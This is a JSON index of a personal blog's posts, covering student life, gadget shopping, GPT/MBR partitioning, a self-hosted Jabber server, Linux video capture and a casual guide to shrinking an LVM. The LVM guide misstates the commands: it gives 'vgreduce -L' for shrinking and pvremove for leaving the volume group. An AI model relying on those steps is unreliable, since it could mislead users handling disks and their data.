I\u0026rsquo;ve been trying to connect up with Cliff for the past month or so to discuss more bizarre physics from Star Trek. Cliff certainly was a massively outstanding person with a wonderfully crazy disposition. He\u0026rsquo;s a keen example of out of the box mentality and I will undoubtedly continue to miss him as I\u0026rsquo;m sure others will too.\nSo cheers to Cliff. I\u0026rsquo;m delighted to have had an opportunity to get to know him and can rightly say he made a real difference in my life.\n","link":"https://dawning.ca/posts/cheers-to-cliff/","section":"posts","tags":null,"title":"Cheers to Cliff"},{"body":"As I prepare for yet another semester of school, I\u0026rsquo;ve decided it\u0026rsquo;s time I finally find a method to electronically record my notes. At this point I\u0026rsquo;m putting a call out there for some help / suggestions on what would do the trick.\nAs a student there are a few main requirements I have for this project:\nCost ($500 would be ideal - $1K is getting out of control) Functionality (must be able to draw notes in to it at a relatively high speed and resolution) Reliability Portability As it stands there\u0026rsquo;s one device that meets 3 of these requirements really well, as far as I can tell. That would be the iRex iLiad (see image below).\niRex iLiad\nPros: Very thin Uses e-paper display Supports a ton of peripherals (USB, SD/MMC, Wifi) Relatively large screen\nCons: Quite expensive (~$700USD) First generation technology Very slow startup / page turning times\nSo at present the iLiad is the best device I can think of for this job, but I don\u0026rsquo;t like the price tag and the fact that it\u0026rsquo;s a first generation machine. I seem to recall HP releasing a tablet PC for about $1K somewhat recently - so paying 70% of that for the iLiad kind of seems totally foolish to me, though a tablet pc will clearly be a lot heavier and thicker, as a student I don\u0026rsquo;t care, but I also don\u0026rsquo;t need a second laptop.\nSo the search goes on\u0026hellip;\nI\u0026rsquo;ve seen a youtube video that made reference to a new ebook reader from iRiver which looks pretty snazzy to me. In the video they said it had a touch screen interface, so that suggests it could be capable of recording annotations. See image below:\nThe challenge with this iRiver device is that it seems that iRiver still hasn\u0026rsquo;t decided if they\u0026rsquo;re going to actually put them in to production. Further it seems that the screens are relatively small and given I\u0026rsquo;m left-handed.\nSo that means that I\u0026rsquo;d only be able to annotate on the left screen as my wrist would ream pretty hard on the left screen if I were writing on the right screen.\nSo, community, please tell me, do any of you know of some other devices which will suit my needs? I wouldn\u0026rsquo;t mind the tablet PC option that lets me use MS OneNote - I think that\u0026rsquo;s an outstanding application, though I\u0026rsquo;ve yet to try Dia, which I hear is fantastic too.\n","link":"https://dawning.ca/posts/electronic-notetaking-for-school-and-life/","section":"posts","tags":null,"title":"Electronic Notetaking for School and Life"},{"body":"So for those of you proud Intel Mac owners that have faced the same multi-OS configuration challenges I have.. Here\u0026rsquo;s a thought on something I tried today at work.\nThe problem was I had a single hard drive that I wanted to have 4 partitions on. The schema was as follows:\nPartition Purpose 1 Mac OS - Tiger 2 Mac OS - Leopard 3 Mac OS - Auxillary 4 Fat32 or NTFS And so as you may well know, EFI will have it\u0026rsquo;s own partition at the start of the drive.\nThis meant I\u0026rsquo;d actually have 5 partitions, with the one I want visible to Windows as the last partition.\nAt this point in time, my understanding is that MBR will only let me define four partitions. Now I appreciate that logical/extended partitions are meant to *fix that limitation, but I\u0026rsquo;m not sure how to do that make it play nicely with GPT.\nAnyway, I figured that in order to make my Windows partition visible to windows, I merely had to change only the MBR partition table to reflect whatever I wanted. As such, my GPT partition table is really irrelevant as far as windows is concerned as the MBR partitioning schema won\u0026rsquo;t affect Mac OS\u0026hellip;.\nSo, I just created an MBR partition table that defined a partition that started on the very block on the hard drive that GPT reported the Fat32 partition to begin on. Of course, I also defined the end of the partition that same way. Then I just set the file system flag accordingly and the product was just as I had hoped. I could read and write data to that last partition completely normally.\nObviously I\u0026rsquo;m just learning the details of how MBR and GPT really work and as such how to make them play together nicely.\nMy next project will be to make a partitioning schema where by I can have all the partitions I want for my Windows and Linux configurations without compromising on Mac OS. The schema will strive as follows:\nEFI Boot General Swap * - used by at least Linux and Windows Mac OS Tiger Mac OS Leopard (very small partition) Linux Root * Windows System * Windows Storage * The four partitions followed by a * are those which I\u0026rsquo;d define in MBR. I think this could work out just fine.\nAnyone out there ever try something like this?\n","link":"https://dawning.ca/posts/gpt-mbr-a-sweet-combo/","section":"posts","tags":null,"title":"GPT \u0026 MBR - A sweet combo"},{"body":"So long as no one abuses it, I\u0026rsquo;m opening up my Jabber server for the community at large to use. To use the Web-based client, just click here. (It\u0026rsquo;s a little slow to load, be patient)\nOnce you\u0026rsquo;ve registered yourself as a user, you can go ahead and use my MSN transport as well. Through the MSN Transport, you can log in to MSN from my Jabber Server. If I have to explain why this is cool, you probably won\u0026rsquo;t really make good use of it.\nAnyway, please give it a try and use my server respectfully, like I said before, I\u0026rsquo;ll close it up if there\u0026rsquo;s abuse. However, barring that, have lots of fun!\n","link":"https://dawning.ca/posts/jabber-service-is-open/","section":"posts","tags":null,"title":"Jabber Service is open"},{"body":"Okay so a few days ago Apple said that they\u0026rsquo;ll allow third party development for the iPhone (cheers).. However given that any third party apps have to exist as a web application I\u0026rsquo;m wondering how I\u0026rsquo;m going to run Firefox on my iPhone!? Now, I\u0026rsquo;m curious about this whole new attempt to make Safari 3 rule the universe, but frankly, I can\u0026rsquo;t see how they can defeat Firefox with it\u0026rsquo;s awesome plugin architecture and highly active open community. Though I do welcome the attempt to make something even better. Anyway, so I\u0026rsquo;m thinking that what we need is someone to make a web UI for Firefox so I can run it in Safari. How awesome (sarcastic) would that be!? A browser within a browser. Wicked.\n","link":"https://dawning.ca/posts/firefox-on-the-iphone/","section":"posts","tags":null,"title":"Firefox on the iPhone?"},{"body":"Okay, so I\u0026rsquo;m posting how to reduce the size of a LVM non-destructively. I\u0026rsquo;ve searched a fair bit for an simple guide on doing this and I eventually found some stuff that made me kind of stumble on the solution. I hope this brief guide helps someone save some real time.\nI had an lvm spanning 7 partitions and decided I wanted to reduce it\u0026rsquo;s size. In short, the key is understanding the functional quirks of pvmove.\nOverview When making an lvm here\u0026rsquo;s basically the steps you follow:\nInitialize partition Create Volume Group Activate Volume Group Add Physical Volume (such as a partition or entire drive) to your Volume Group Create or Expand your Logical Volume Create or Expand your file system (in my case Reiserfs) Removing a disk is simply this backwards which I\u0026rsquo;ll discuss at greater length below.\nRemoving a Partition/Disk from your LVM\nFree up enough space from the file system that lives on the lvm to accommodate the drive/partition you wish to remove.\nResize the file system accordingly. Note that I always leave little buffers. So suppose there is 50Gb free on my lvm. If I wish to shink the file system on the LVM, I\u0026rsquo;ll reduce the size of that file system by something like 48Gb. Since many of these tools warn constantly of you possibly losing your data, you may as well pad things just so that you don\u0026rsquo;t accidentally overstep any bounds.\nReduce the size of your Volume Group. Use vgreduce - it\u0026rsquo;s easy, the command you\u0026rsquo;ll want to use will be something like: vgreduce -L -48G my_lvm.\nNow you need to reallocate Physical Extents. pvmove attempts to move PEs in blocks. If you tell pvmove to move a block of PEs and there is no sufficiently large chunk of free PEs elsewhere in your LVM then pvmove won\u0026rsquo;t place nicely. If you use pvdisplay to figure out where your free blocks are, you can transfer PEs off the partition you\u0026rsquo;re removing in chunks that meet the free space that already exists in your lvm. For example, suppose I wanted to transfer PE 0 to 16300 off /dev/sda, I\u0026rsquo;d use: pvmove /dev/sda:0-16300\nOnce all PEs from the partition you\u0026rsquo;re removing have been moved, you need to remove the partition from the volume group. For this, use pvremove\nClosing thoughts Okay, so that there is a pretty casual little guide on removing partitions.. Post comments if you have any questions and would like more detail.\n","link":"https://dawning.ca/posts/shrinking-an-lvm/","section":"posts","tags":null,"title":"Shrinking an LVM"},{"body":"Check out this amazing video of how thousands upon thousands of photos can be manipulated in a very fluid \u0026amp; intuitive way!\n","link":"https://dawning.ca/posts/massive-photo-management/","section":"posts","tags":null,"title":"Massive Photo Management!"},{"body":"So I picked up a PVR-150 for video capture. Of course this is the classic problem of capturing video from a RCA/VHS source. I\u0026rsquo;ve got two other video capture cards (ATI TV-Wonder PCI and ASUS TV-7135LP). So far, it looks like the input from the PVR-150 is vastly superior to the others. That said, it\u0026rsquo;s also proven to be vastly more challenging to get input from.\nAt this point, I\u0026rsquo;ve managed to get input to mplayer in linux working correctly. Mplayer has an interface intended for use with cards such as the PVR-150. However, I haven\u0026rsquo;t had much success with that interface yet.\nHere\u0026rsquo;s a quick summary of how I got input working with the PVR-150:\n(re)load the ivtv drivers\nset what input sources you like (use v4l2-ctl \u0026ndash; you\u0026rsquo;ll probably only need to use the \u0026ldquo;i\u0026rdquo; flag)\nYou\u0026rsquo;re ready to go (ish) you can video the input by running: \u0026ldquo;mplayer /dev/video0\u0026rdquo; At this point I still have a significant problem with the input. Seems there\u0026rsquo;s too much data coming in for my machine, which is weird because I\u0026rsquo;ve got a pretty decent box doing this (P4 3GHz, 1GB Ram).\nmplayer says: \u0026ldquo;Too many video packets in the buffer: (4096 in 7977572 bytes). Maybe you are playing a non-interleaved stream/file or the codec failed?\u0026rdquo;\nI\u0026rsquo;ll post a solution to that issue when I have one..\n","link":"https://dawning.ca/posts/pvr-150-for-linux-video-capture/","section":"posts","tags":null,"title":"PVR-150 for Linux Video Capture"},{"body":"Tardulator is my first complete Cocoa based application for OSX. Download it here.\nIt is a functional calculator application that provides:\n\\t- Basic Mathematical functions: (add, sub, mul, div, exp)\n\\t- Loadable memory to store and recover values\n\\t- A text box that supports keyboard input (input is currently disregarded if a non number is entered).\nThis program could be useful to people learning OSX Cocoa Objective-C programming as an example.\nI use this program on occasion, however it is pretty retarded, hence it\u0026rsquo;s name. Don\u0026rsquo;t expect it to be particularly polished unless you crave disappointment. I\u0026rsquo;ve made it available just for kicks. It works, but needs some revisions - I might apply them, we\u0026rsquo;ll see. For now, it may be helpful as a reference to a basic Cocoa application for OSX.\n","link":"https://dawning.ca/projects/tardulator/","section":"pages","tags":null,"title":"Tardulator"},{"body":"Howdy! So after some investigation, I\u0026rsquo;ve found a plugin for my website here that\u0026rsquo;ll let me display my facebook photo albums. Massive thanks to Aaron for his plugin for this! It seems to be working quite well right now and so I figure I\u0026rsquo;ll move my images over from my existing photo back-end (Flickr) to Facebook.\nFor example: ","link":"https://dawning.ca/posts/new-photo-action/","section":"posts","tags":null,"title":"New Photo Action!"},{"body":"A great many years ago my great grandfather and his best friend decided to travel to western canada to find work. They first traveled to Winnipeg where they were told they could find a good job with the drop of a hat. Once they got there, they heard that there were even better opportunities if they went further west. So further west they ventured.\nThey reached Saskatoon and discovered that the jobs weren\u0026rsquo;t as fruitful as they expected. Then they heard that if they continued further west, they could find easy pay they sought. Onward they went.\nThey reached Edmonton and found the trend continued, while the jobs they discovered were reasonable, they were told they could find even better jobs if they just went a bit further west. The journey continued.\nThey reached Vancouver where they found reasonable jobs, yet still, if only they went further west, they would be paid marvelously for their work. And so they decided to continue on Vancouver Island. However their travels had consumed most of their money and so only one of them would be able to go to the island. My great grandfather and his friend decided to toss a coin. Whomever won would go to the island first and could then send some money to bring the other over on the ferry.\nThey tossed a coin.\nMy great grandfather lost.\nHis friend boarded the ferry, saluted and left my great grandfather alone in Vancouver, waiting to receive the money to get over to the island.\nThe next morning my great grandfather went for a stroll and heard the latest news buzzing about the city. In the middle of the night the ferry to Vancouver Island sank, all aboard lost. And so I can trace my existence and the existence of an entire branch of my family down to the outcome of that single coin toss. Certainly if my great grandfather had won, he would have very likely perished with everyone else and I would not be here today.\n","link":"https://dawning.ca/posts/a-coin-my-existence/","section":"posts","tags":null,"title":"A coin \u0026 my existence"},{"body":"Well it\u0026rsquo;s about time. I\u0026rsquo;ve moved out of my parents place.. Need I say more? Perhaps I\u0026rsquo;ll post some pictures later!\n","link":"https://dawning.ca/posts/moved/","section":"posts","tags":null,"title":"Moved!"},{"body":"Ubuntu Linux 7.04 has JUST been released! This Linux distribution has been uniting the penguins and is totally rocking the linux desktop world and I\u0026rsquo;m starting to see some massive progress on the server side too. Seriously, if you ever thought of trying out linux in the past but haven\u0026rsquo;t, this is the the time to give it a go! Go download it from here or go to the main Ubuntu site and get a torrent or a mirror or whatever! Have fun! :)\n","link":"https://dawning.ca/posts/704/","section":"posts","tags":null,"title":"7.04!!!!"},{"body":"After listening to the details behind the Virginia Tech shooting I\u0026rsquo;m left trying to make heads or tails of the whole situation. Clearly there has already been established a real pattern of this sort of thing. I can recall the first few times it happened I was immediately shocked and disturbed. This time, I totally didn\u0026rsquo;t care at first. It was just YET another shooting. After a short time I began to digest that and now am rather quite disturbed as this should most certainly never be the sort of thing to just write off. But then, isn\u0026rsquo;t this kind of thing happening ALL the time in other countries? Maybe not, but it certainly seems to me that we as a global socieity have this habit of mass killing eachother. But why? I can see some positive things that come out of it, given that tragedy unites and reminds us what\u0026rsquo;s important. But the cost is too high.\nOne could rant on and on about gun controls, I definitely have feelings about that being a factor, but I think this issue is a hell of it a deeper than that. This issue seems rooted in a fundamental aspect of our nature. Not to say it\u0026rsquo;s at all necessary for this sort of senseless, barbaric violence to ever take place. It makes me feel as though maybe a particlar solution has to do with communication. People learning to get their feelings discussed and do so in a positive constructive forum. It seems more and more obvious to me that a family doesn\u0026rsquo;t raise a person, but rather a whole community does. At risk of sounding like a total hippy, maybe there\u0026rsquo;s something really valuable in that.\nI suppose what frightens me the most on the subject is I feel a core NEED to make sense of what the hell is going on and yet I do hear a voice in the back of my head that asks: Why do I need to make sense of this? Perhaps that whole question is rooted in a need to feel in control. Feeling in control seems directly connected to identity, living life, connected to the whole notion of respect and in turn being able to be a person. In my attempts to understand why people continue to die over this, I think maybe this is just an expression of a person not ever learning how to feel like they actually exist.\nOf course, I know nothing. How many people will die before we figure this out? Will it go on forever? Is that okay? Sure as hell doesn\u0026rsquo;t seem so, but maybe there\u0026rsquo;s something fundamental about our nature here. I sure as hell don\u0026rsquo;t care if it\u0026rsquo;s our nature, it\u0026rsquo;s something I have no respect for in my world. I don\u0026rsquo;t think anyone should ever speak the names of the killers in these crimes, it\u0026rsquo;s a way of denying them existence because of what they\u0026rsquo;ve decided to do. And to be denied existence, that\u0026rsquo;s hell.\nOkay I\u0026rsquo;m done ranting - blogs are great, needed to get that out, I totally don\u0026rsquo;t care if anyone reads it. But these are rather internal thoughts, still it\u0026rsquo;s posted with the hope of maybe inspiring something positive.\n","link":"https://dawning.ca/posts/whats-going-on-out-there/","section":"posts","tags":null,"title":"What's going on out there?"},{"body":"Just a thought\u0026hellip; What If the $400B spent on that oil-grab party over in Iraq had been invested in space exploration!? Apparently the entire space shuttle program (including all the infrastructure for it) has currently cost just under a total of $150B. I believe a WTF is in order.\nI had to get that out. Thank you, that is all for now.\n","link":"https://dawning.ca/posts/people-are-silly/","section":"posts","tags":null,"title":"People are silly"},{"body":"At least, that\u0026rsquo;s what Amie St. calls you when you publish your own music on it.. Check out my Song \u0026ldquo;The Dawning\u0026rdquo; I\u0026rsquo;ve just put up on Amie St. You can download a copy of it there.. It\u0026rsquo;s nothing of particular significance - I used GarageBand to make it, fun little program!\n","link":"https://dawning.ca/posts/apparently-im-a-musical-artist-or-something/","section":"posts","tags":null,"title":"Apparently I'm a musical artist or something.."},{"body":"So, a buddy at work recently asked if anyone wanted a link to their websites added to his blogroll. After giving him the url for dawning I thought to myself I really need to put up a new post on here\u0026hellip;\nWhat many of you may well not know at this point is that I have started my internship! I\u0026rsquo;m working for a funktacular company called Cambrian House. Offically I\u0026rsquo;m there as a developer though I find I\u0026rsquo;m working on a large number of projects. And doing a TON of learning! Anyway, the company treats it\u0026rsquo;s people very very well and I\u0026rsquo;m having one kick ass time.\nI suppose I\u0026rsquo;ll end it there given I\u0026rsquo;m @ work right now, so I should get back to work! :)\n","link":"https://dawning.ca/posts/cheers-to-the-happily-employed/","section":"posts","tags":null,"title":"Cheers to the happily employed"},{"body":" The 2006 Santa party has been yet another resounding success! I have included various small video clips from it on YouTube. Go to the Photos section to see the pictures from the lastest SP!\nHere\u0026rsquo;s a video from the party: YouTube Video\n","link":"https://dawning.ca/posts/2006-santa-party/","section":"posts","tags":null,"title":"2006 Santa Party!"},{"body":"AWESOME.\nI never thought someone would actually make a suggestion for use of K-Maps like this, but alas here it is.. Someone trying to begin the work of mapping love to digital logic. Now I\u0026rsquo;m extra glad I got an FPGA - I\u0026rsquo;ll just finish this K-map and find my true love in a single chip. It\u0026rsquo;s almost too perfect. (origional: /uploads/external/karnaugh_9d64f3c9.jpg)\n","link":"https://dawning.ca/posts/k-maps-emotion/","section":"posts","tags":null,"title":"K-Maps \u0026 emotion"},{"body":"Howdy - perhaps a few weeks late, but alas here are the pictures from my recent ski trip to Sunshine. Definitely a prime example of a wicked time. Check out the pictures in my Photos section.\n","link":"https://dawning.ca/posts/a-minor-update/","section":"posts","tags":null,"title":"A minor update"},{"body":"Throughout the ages there have been multiple eras through which particular societies have totally dominated the world in a military regard. Reflecting upon some of the famous warriors throughout these times, I wonder who would emerge the ultimate victor.\nConsider the case of a Spartan versus and Samurai.. The Samurai would be equipped with fairly light equipment and insanely sharp weapons whereas the Spartan would be beefed up with uber-armour, which would certainly weigh nearly a ton. The question I pose to you all is who do you think would win in the ultimate showdown?\nPersonally, knowing nothing too detailed about both, I\u0026rsquo;m inclined to support the Samurai camp due to their high mobility.\n","link":"https://dawning.ca/posts/the-spartan-versus-the-samurai/","section":"posts","tags":null,"title":"The Spartan versus the Samurai"},{"body":"So I was chillin at London Drugs, picking up some random cable when I noticed a little DVD package for sale for $2. I simply had to get one. It\u0026rsquo;s a World of Warcraft Trial DVD. As such, it must contain all the game files needed, which makes the $2 worth it (they actually gave it to me for free). See, those of us who play this game find that an installation of it kinda sucks. This is due to the multiple CDs needed to provide the ~6gb of content that needs to be installed. Well, anyway, I figure this will come in handy for my \u0026ldquo;Warcrack\u0026rdquo; pushing hobby.\nThe point here is go get one if you\u0026rsquo;re a Warcraft addict.\n","link":"https://dawning.ca/posts/wow-14-day-trial-disc/","section":"posts","tags":null,"title":"Wow 14 day trial disc!"},{"body":"As I sit here at work, waiting for this lame thing to update I find myself looking forward to the upcoming weekend. A pack of us are headed out to Sunshine for a little ski trip and it\u0026rsquo;s bound to be a glorious time. I can\u0026rsquo;t say I know this group all too well, but given that the night before we head out we\u0026rsquo;re having an intense poker battle, I figure some seriously awesome times are in store.\nBut for now.. I sit here waiting for this update. lol\n","link":"https://dawning.ca/posts/awesome-weekend-upcoming/","section":"posts","tags":null,"title":"Awesome weekend upcoming"},{"body":"Howdy gang.. Well, I\u0026rsquo;ve FINALLY got a pretty decent photo gallery setup now!\nIt\u0026rsquo;s been a long time coming too! At this point I\u0026rsquo;ve only got ~30pictures in there, so I\u0026rsquo;ll have to add more, but that\u0026rsquo;ll happen pretty rapidly.\nFor those who are interested, I\u0026rsquo;ve found a tool that lets me integrate photos I store on Flickr in to my website here! Sweet!\nGo here to see the pictures.\n","link":"https://dawning.ca/posts/photos-photos-photos/","section":"posts","tags":null,"title":"Photos Photos Photos!"},{"body":"Howdy\u0026hellip; So I think I\u0026rsquo;m gonna stick with this new theme. It\u0026rsquo;s pretty cool, but sure to click on the little images on the banner @ the top.\nOther than that\u0026hellip; Nothing to report to your internet nuts.\nPost a comment if you find it takes a nasty long time for my pages to load for ya.\nCheers!\n","link":"https://dawning.ca/posts/time-trotts-forward/","section":"posts","tags":null,"title":"Time trotts forward"},{"body":"As I sit here late at night, knowing full well that I need to get up and rack my brain intensely for countless hours.. I find myself drawn to writing a post on my little website. I feel badly for those of you who actually do check here expecting to see glorious progress. Yes, there has been quite significant progress, but still\u0026hellip; You my faithful friends will have more content to fool with soon enough (ish). [gotta love \u0026ldquo;ish\u0026rdquo; for ambiguizing everying. Yes, \u0026ldquo;ambiguizing\u0026rdquo; is a word, ish]\nFor what it\u0026rsquo;s worth, the semester is progressing reasonably well. I must admit, Circuits 1 has gotten exceptionally ugly at a rate that makes me turn a delightfully upsetting shade of green. My other courses are fun enough though.\nWell that\u0026rsquo;s all for now folks. Cheers!\n","link":"https://dawning.ca/posts/life-in-the-world-of-me-sitting-here-now/","section":"posts","tags":null,"title":"Life.. in the world of me sitting here now..."},{"body":"It\u0026rsquo;s time for me to jump back in to the fire and nail down yet another year of school. Given this is now my 5th year and I still have 3 (probably 4 with internship) years to go I find myself using all my Jedi powers to keep myself jazzed about the remotely near future.\nAs I write this post I sit in the second row of my Engg 319 (Lame statistics for bored Engineers). The prof continues to spew out material, all of which I have definitely encountered in other courses. I suppose this happens when you take more than one degree. Je ne sais pas.\nAnyway, perhaps I\u0026rsquo;ll manage to get some fun changes implemented on this site right away. That\u0026rsquo;d be swell.\n","link":"https://dawning.ca/posts/back-to-school/","section":"posts","tags":null,"title":"Back to school!"},{"body":"","link":"https://dawning.ca/categories/solar-car/","section":"categories","tags":null,"title":"Solar Car"},{"body":"Today a group of us are driving down to Lethbridge to have our car in the Whoop Up days parade in Lethbridge tomorrow. Sounds like it\u0026rsquo;s gonna be a blast. I\u0026rsquo;ll be driving Soleon, which is always a thrill. With a touch of fortune, I\u0026rsquo;ll manage to post some pictures of the trip here when I return!\n","link":"https://dawning.ca/posts/solar-car-to-lethbridge/","section":"posts","tags":null,"title":"Solar Car to Lethbridge"},{"body":"Well, in a few hours I write my physics 259 (electricity \u0026amp; magnetism for engineers).. Despite genuine efforts, I feel that this won\u0026rsquo;t be a \u0026ldquo;fun\u0026rdquo; experience by any stretch.\nI suppose I had better get back to my last minute cramming.\nCheers\n","link":"https://dawning.ca/posts/in-to-the-meat-grinder/","section":"posts","tags":null,"title":"In to the meat grinder"},{"body":"Well, my progress has been stopped in its tracks for the evening. I can\u0026rsquo;t seem to get my server to let me write files to it in the manner that I prefer. After many hours of checking and rechecking, I\u0026rsquo;ve made no progress. Bothers me that I\u0026rsquo;ve setup a ton of these before and never had this problem.\nBut perhaps it\u0026rsquo;s best I stop anyway as I have an exam I really need to be focused on studying for.\nThat\u0026rsquo;s all for now. Good night.\n","link":"https://dawning.ca/posts/damned-samba/","section":"posts","tags":null,"title":"Damned Samba"},{"body":"As I work away trying to get this new web server of mine to work just the way I like, I find I keep having to rebuild this website.. So, with some luck, this will be the last rebuild and away things will go!\n","link":"https://dawning.ca/posts/hello-world/","section":"posts","tags":null,"title":"Yet another new dawning.ca website"},{"body":"","link":"https://dawning.ca/archives/","section":"","tags":null,"title":"Archives"},{"body":"","link":"https://dawning.ca/series/","section":"series","tags":null,"title":"Series"}]